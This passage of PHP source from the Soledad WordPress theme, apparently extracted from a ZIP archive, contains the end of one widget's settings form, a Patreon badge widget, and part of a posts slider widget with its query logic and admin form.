                       name="<?php echo esc_attr( $this->get_field_name( 'sameh_mobile' ) ); ?>" <?php checked( (bool) $instance['sameh_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom Words Length for Term Name:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bgcontent_pos' ) ); ?>"><?php esc_html_e( 'Content Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'bgcontent_pos' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bgcontent_pos' ) ); ?>">
					<?php
					$bgcontent_pos_option = array(
						'on'    => esc_html__( 'On Image', 'soledad' ),
						'below' => esc_html__( 'Below Image', 'soledad' ),
						'above' => esc_html__( 'Above Image', 'soledad' ),
					);
					$this->prs_select_field( $bgcontent_pos_option, $bgcontent_pos );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_gap' ) ); ?>"><?php esc_html_e( 'Gap Between Grid & Mansonry Items:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_othergap' ) ); ?>"><?php esc_html_e( 'Gap Between Items:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_othergap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_othergap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_othergap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'penci_img_ratio' ) ); ?>"><?php esc_html_e( 'Adjust Ratio of Images( Unit % ):', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'penci_img_ratio' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'penci_img_ratio' ) ); ?>"
                       value="<?php echo esc_attr( $instance['penci_img_ratio'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgradius' ) ); ?>"><?php esc_html_e( 'Custom Border Radius for Images', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'imgradius' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgradius' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgradius'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_height' ) ); ?>"><?php esc_html_e( 'Custom Item Height (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'bg_height' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'bg_height' ) ); ?>"
                       value="<?php echo esc_attr( $instance['bg_height'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_horizontal_position' ) ); ?>"><?php esc_html_e( 'Content Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_horizontal_position' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_horizontal_position' ) ); ?>">
					<?php
					$content_horizontal_position_o = array(
						'left'   => esc_html__( 'Left', 'soledad' ),
						'right'  => esc_html__( 'Right', 'soledad' ),
						'center' => esc_html__( 'Center', 'soledad' ),
					);
					$this->prs_select_field( $content_horizontal_position_o, $content_horizontal_position );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_vertical_position' ) ); ?>"><?php esc_html_e( 'Content Text Vertical Position', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_vertical_position' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_vertical_position' ) ); ?>">
					<?php
					$content_vertical_position_o = array(
						'top'    => esc_html__( 'Top', 'soledad' ),
						'middle' => esc_html__( 'Middle', 'soledad' ),
						'bottom' => esc_html__( 'Bottom', 'soledad' ),
					);
					$this->prs_select_field( $content_vertical_position_o, $content_vertical_position );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'content_text_align' ) ); ?>"><?php esc_html_e( 'Content Text Align', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'content_text_align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'content_text_align' ) ); ?>">
					<?php
					$content_text_align_o = array(
						'left'   => esc_html__( 'Left', 'soledad' ),
						'right'  => esc_html__( 'Right', 'soledad' ),
						'center' => esc_html__( 'Center', 'soledad' ),
					);
					$this->prs_select_field( $content_text_align_o, $content_text_align );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_hover' ) ); ?>"><?php esc_html_e( 'Image Hover Effect', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'image_hover' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_hover' ) ); ?>">
					<?php
					$image_hover_o = array(
						'zoom-in'     => 'Zoom-In',
						'zoom-out'    => 'Zoom-out',
						'move-left'   => 'Move to Left',
						'move-right'  => 'Move to Right',
						'move-bottom' => 'Move to Bottom',
						'move-top'    => 'Move to Top',
						'none'        => 'None',
					);
					$this->prs_select_field( $image_hover_o, $image_hover );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text_overlay' ) ); ?>"><?php esc_html_e( 'Content Text Hover Type', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'text_overlay' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'text_overlay' ) ); ?>">
					<?php
					$text_overlay_o = array(
						'none'    => 'None',
						'show-in' => 'Show on Hover',
						'hide-in' => 'Hide on Hover',
					);
					$this->prs_select_field( $text_overlay_o, $text_overlay );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'text_overlay_ani' ) ); ?>"><?php esc_html_e( 'Content Text Hover Type', 'soledad' ) ?></label>
                <select style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'text_overlay_ani' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'text_overlay_ani' ) ); ?>">
					<?php
					$text_overlay_ani_o = array(
						'movetop'    => 'Move to Top',
						'movebottom' => 'Move to Bottom',
						'moveleft'   => 'Move to Left',
						'moveright'  => 'Move to Right',
						'zoomin'     => 'Zoom In',
						'zoomout'    => 'Zoom Out',
						'fade'       => 'Fade',
					);
					$this->prs_select_field( $text_overlay_ani_o, $text_overlay_ani );
					?>
                </select>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Title (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_fsize'] ); ?>" size="3"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'meta_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Meta (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'meta_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'meta_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['meta_fsize'] ); ?>" size="3"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'desc_fsize' ) ); ?>"><?php esc_html_e( 'Font Size for Description (Unit is px)', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'desc_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'desc_fsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['desc_fsize'] ); ?>" size="3"/>
            </p>
			<?php
			$color_fields = [
				'bgtitle_color'       => __( 'Title Color', 'soledad' ),
				'bgtitle_color_hover' => __( 'Title Hover Color', 'soledad' ),
				'bgdesc_color'        => __( 'Term Meta Color', 'soledad' ),
				'bgdesc_link_color'   => __( 'Term Meta Link Color', 'soledad' ),
				'bgdesc_link_hcolor'  => __( 'Term Meta Link Hover Color', 'soledad' ),
				'excerpt_tcolor'      => __( 'Term Description Text Color', 'soledad' ),
			];
			foreach ( $color_fields as $id => $label ) {
				$this->color_field( $id, $label, $instance );
			}
		}
	}
}
?>
PK     2w\      widgets/patreon.phpnu [        <?php

add_action( 'widgets_init', 'penci_patreon_load_widget' );

function penci_patreon_load_widget() {
	register_widget( 'penci_patreon_widget' );
}

if ( ! class_exists( 'penci_patreon_widget' ) ) {
	class penci_patreon_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_patreon_widget',
				'description' => esc_html__( 'A widget that displays the Patreon account information.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_patreon_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_patreon_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Paetron', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_patreon_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Paetron', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$button_text = ! empty( $instance['button_text'] ) ? $instance['button_text'] : esc_html__( 'Paetron', 'soledad' );
			$username    = ! empty( $instance['username'] ) ? $instance['username'] : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			?>
            <div class="penci-patreon-badge-wrap">

                <a href="https://www.patreon.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank">
                    <svg width="569px" height="546px" viewBox="0 0 569 546"
                         xmlns="http://www.w3.org/2000/svg"><title><?php echo esc_html( $button_text ) ?></title>
                        <g>
                            <circle data-color="1" id="Oval" cx="362.589996" cy="204.589996" r="204.589996"></circle>
                            <rect data-color="2" id="Rectangle" x="0" y="0" width="100" height="545.799988"></rect>
                        </g>
                    </svg>
                </a>

				<?php
				if ( ! empty( $instance['secondary_text'] ) ) {
					echo '<h4>' . $instance['secondary_text'] . '</h4>';
				}
				?>

                <a href="https://www.patreon.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank" class="button">
                    <span><?php echo esc_html( $button_text ) ?></span>
                </a>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'          => esc_html__( 'Buy Me a Coffee', 'soledad' ),
				'button_text'    => '',
				'secondary_text' => '',
				'username'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$title          = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = isset( $instance['username'] ) ? $instance['username'] : '';
			$button_text    = isset( $instance['button_text'] ) ? $instance['button_text'] : '';
			$secondary_text = isset( $instance['secondary_text'] ) ? $instance['secondary_text'] : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Username', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $username ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"><?php esc_html_e( 'Button Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'button_text' ) ); ?>"
                       value="<?php echo esc_attr( $button_text ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"><?php esc_html_e( 'Secondary Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'secondary_text' ) ); ?>"
                       value="<?php echo esc_attr( $secondary_text ); ?>" class="widefat" type="text"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\҃q  q    widgets/posts_slider_widget.phpnu [        <?php
/**
 * Post slider widget
 * Display recent post or popular post for each category or all posts
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_slider_posts_news_load_widget' );

function penci_slider_posts_news_load_widget() {
	register_widget( 'penci_slider_posts_news_widget' );
}

if ( ! class_exists( 'penci_slider_posts_news_widget' ) ) {
	class penci_slider_posts_news_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_slider_posts_news_widget',
				'description' => esc_html__( 'A widget that displays your latest/popular posts from all categories or a category with a slider', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_slider_posts_news_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_slider_posts_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Posts Slider', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_slider_posts_news_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Posts Slider', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title      = isset( $instance['title'] ) ? $instance['title'] : '';
			$title      = apply_filters( 'widget_title', $title );
			$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
			$number     = isset( $instance['number'] ) ? $instance['number'] : 5;
			$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
			$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
			$metakey    = isset( $instance['metakey'] ) ? $instance['metakey'] : '';
			$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$query_cat  = isset( $instance['query_cat'] ) ? $instance['query_cat'] : '';
			$style      = isset( $instance['style'] ) ? $instance['style'] : 'style-1';
			$date       = isset( $instance['date'] ) ? $instance['date'] : false;
			$image_type = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
			if ( ! $ptype ): $ptype = 'post'; endif;
			$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
			$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
			$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value = ( false == $sticky ) ? 0 : 1;
			$autoplay     = isset( $instance['autoplay'] ) ? $instance['autoplay'] : '';
			$autoplaydata = ( $autoplay ) ? 'true' : 'false';
			$ptfs         = isset( $instance['ptfs'] ) ? $instance['ptfs'] : '';
			$pmfs         = isset( $instance['pmfs'] ) ? $instance['pmfs'] : '';
			$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
			$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

			$query = array(
				'posts_per_page'      => $number,
				'post_type'           => $ptype,
				'ignore_sticky_posts' => $sticky_value
			);

			if ( 'post' == $ptype ) {
				if ( isset( $instance['cats_id'] ) ) {
					if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
						$query['category__in'] = $cats_id;
					}
				} else {
					if ( $categories ) {
						$query['cat'] = $categories;
					}
				}

				if ( ! empty( $tags_id ) ) {
					if ( ! in_array( 'all', $tags_id ) ) {
						$query['tag__in'] = $cats_id;
					}
				}
			}

			if ( $query_cat && ( is_category() || is_tag() ) ) {
				$query['post_type'] = 'post';
				$queried_object = get_queried_object();
			
				if ( is_category() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['cat'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['category_name'] = $queried_object->slug;
					}
				} elseif ( is_tag() ) {
					if ( ! empty( $queried_object->term_id ) ) {
						$query['tag_id'] = $queried_object->term_id;
					} elseif ( ! empty( $queried_object->slug ) ) {
						$query['tag'] = $queried_object->slug;
					}
				}
			}

			if ( 'popular' == $orderby ) {
				$query['meta_key'] = penci_get_postviews_key();
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular_day' == $orderby ) {
				$query['meta_key'] = 'penci_post_day_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular7' == $orderby ) {
				$query['meta_key'] = 'penci_post_week_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'popular_month' == $orderby ) {
				$query['meta_key'] = 'penci_post_month_views_count';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'jetpack' == $orderby ) {
				$query['meta_key'] = '_jetpack_post_view';
				$query['orderby']  = 'meta_value_num';
			} elseif ( 'metakey' == $orderby && $metakey ) {
				$query['meta_key'] = $metakey;
				$query['orderby']  = 'meta_value_num';
			} else {
				if ( $orderby ) {
					$query['orderby'] = $orderby;
				}
			}

			if ( $order ) {
				$query['order'] = $order;
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $taxonomy && ( 'post' != $ptype ) ) {
				$taxonomy  = str_replace( ' ', '', $taxonomy );
				$tax_array = explode( ',', $taxonomy );

				foreach ( $tax_array as $tax ) {
					$tax_ids_array = array();
					if ( $tax_ids ) {
						$tax_ids       = str_replace( ' ', '', $tax_ids );
						$tax_ids_array = explode( ',', $tax_ids );
					} else {
						$get_all_terms = get_terms( $tax );
						if ( ! empty( $get_all_terms ) ) {
							foreach ( $get_all_terms as $term ) {
								$tax_ids_array[] = $term->term_id;
							}
						}
					}

					if ( ! empty( $tax_ids_array ) ) {
						$query['tax_query'][] = array(
							'taxonomy' => $tax,
							'field'    => 'term_id',
							'terms'    => $tax_ids_array
						);
					}
				}
			}

			$loop = new WP_Query( $query );
			$rand = rand( 100, 10000 );
			if ( $loop->have_posts() ) :

				/* Before widget (defined by themes). */ echo ent2ncr( $before_widget );

				/* Display the widget title if one was input (before and after defined by themes). */
				if ( $title ) {
					echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
				}
				?>
                <div id="penci-postslidewg-<?php echo sanitize_text_field( $rand ); ?>"
                     class="swiper penci-owl-carousel penci-owl-carousel-slider penci-widget-slider penci-post-slider-<?php echo $style; ?>"
                     data-lazy="true" data-auto="<?php echo $autoplaydata; ?>">
                    <div class="swiper-wrapper">
						<?php while ( $loop->have_posts() ) : $loop->the_post(); ?>
                            <div class="swiper-slide penci-slide-widget">
                                <div class="penci-slide-content">
									<?php if ( $style != 'style-3' ) { ?>

                                        <span <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                                              title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
                                                <?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                                            </span>

                                        <a href="<?php the_permalink() ?>" class="penci-widget-slider-overlay"
                                           title="<?php the_title(); ?>"></a>
									<?php } else { ?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), penci_featured_images_size() ) ); ?> href="<?php the_permalink() ?>" class="<?php echo penci_layout_bg_class();?> penci-image-holder"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), penci_featured_images_size() ), get_the_title() ); ?>
                                        </a>

									<?php } ?>
                                    <div class="penci-widget-slide-detail">
                                        <h4>
                                            <a href="<?php the_permalink() ?>" rel="bookmark"
                                               title="<?php the_title(); ?>"><?php echo sanitize_text_field( wp_trim_words( get_the_title(), 8, '...' ) ); ?></a>
                                        </h4>
										<?php if ( ! $date ): ?>
                                            <span class="slide-item-date"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
                                    </div>
                                </div>
                            </div>
						<?php endwhile; ?>
                    </div>
                </div>

			<?php
			endif;
			wp_reset_postdata();

			$attrstyle = '';
			if ( $ptfs ) {
				$attrstyle .= '#penci-postslidewg-' . $rand . ' .penci-widget-slide-detail h4 a{ font-size: ' . $ptfs . 'px; }';
			}
			if ( $pmfs ) {
				$attrstyle .= '#penci-postslidewg-' . $rand . ' .penci-widget-slide-detail .slide-item-date{ font-size: ' . $pmfs . 'px; }';
			}

			if ( $image_type == 'horizontal' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 66.6667%; }';
			} elseif ( $image_type == 'square' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 100%; }';
			} elseif ( $image_type == 'vertical' ) {
				$attrstyle .= '#penci-postslidewg-' . sanitize_text_field( $rand ) . ' .penci-image-holder:before{ padding-top: 135.4%; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'      => esc_html__( 'Posts Slider', 'soledad' ),
				'autoplay'   => false,
				'ptype'      => '',
				'taxonomy'   => '',
				'tax_ids'    => '',
				'sticky'     => true,
				'orderby'    => 'date',
				'order'      => 'DESC',
				'ptfs'       => '',
				'pmfs'       => '',
				'image_type' => 'default',
				'number'     => 5,
				'offset'     => '',
				'query_cat'  => '',
				'metakey' 	 => '',
				'categories' => '',
				'date'       => false,
				'style'      => 'style-1'
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();

			$cats_id = array();
			$tags_id = array();

			if ( isset( $instance['cats_id'] ) && ! empty( $instance['cats_id'] ) ) {
				$cats_id = explode( ',', $instance['cats_id'] );
			}
			if ( isset( $instance['tags_id'] ) && ! empty( $instance['tags_id'] ) ) {
				$tags_id = explode( ',', $instance['tags_id'] );
			}

			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <style>span.description {
                    font-style: italic;
                    font-size: 13px;
                }</style>
            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['title'] ); ?>"/>
            </p>

            <!-- Style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Select Style for This
                    Slider</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='style-1' <?php if ( 'style-1' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 1
                    </option>
                    <option value='style-2' <?php if ( 'style-2' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 2
                    </option>
                    <option value='style-3' <?php if ( 'style-3' == $instance['style'] ): echo 'selected="selected"'; endif; ?>>
                        Style 3
                    </option>
                </select>
            </p>

            <!-- Category -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>"><?php esc_html_e( 'Include Categories:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'cats_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'cats_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $cats_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All categories', 'soledad' ); ?></option>
					<?php $categories = get_categories( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $categories as $category ) { ?>
                        <option value='<?php echo esc_attr( $category->term_id ); ?>' <?php if ( in_array( $category->term_id, $cats_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $category->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple categories.', 'soledad' ); ?></span>
            </p>

            <!-- Tags -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>"><?php esc_html_e( 'Include Tags:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'tags_id' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'tags_id' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $tags_id ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All tags', 'soledad' ); ?></option>
					<?php $tags = get_tags( 'hide_empty=0&depth=1&type=post' ); ?>
					<?php foreach ( $tags as $tag ) { ?>
                        <option value='<?php echo esc_attr( $tag->term_id ); ?>' <?php if ( in_array( $tag->term_id, $tags_id ) ) {
							echo 'selected="selected"';
						} ?>><?php echo sanitize_text_field( $tag->name ); ?></option>
					<?php } ?>
                </select>
                <span class="description"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple tags.', 'soledad' ); ?></span>
            </p>

            <!-- Custom Post Type -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"><?php esc_html_e( 'Query for Custom Post Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ptype' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ptype' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ptype'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( '- Default( Posts ) -', 'soledad' ); ?></option>
					<?php $all_post_types = get_post_types( array(
						'public'            => true,
						'show_in_nav_menus' => true
					), 'objects' );
					unset( $all_post_types['post'] );
					if ( ! empty( $all_post_types ) ) {
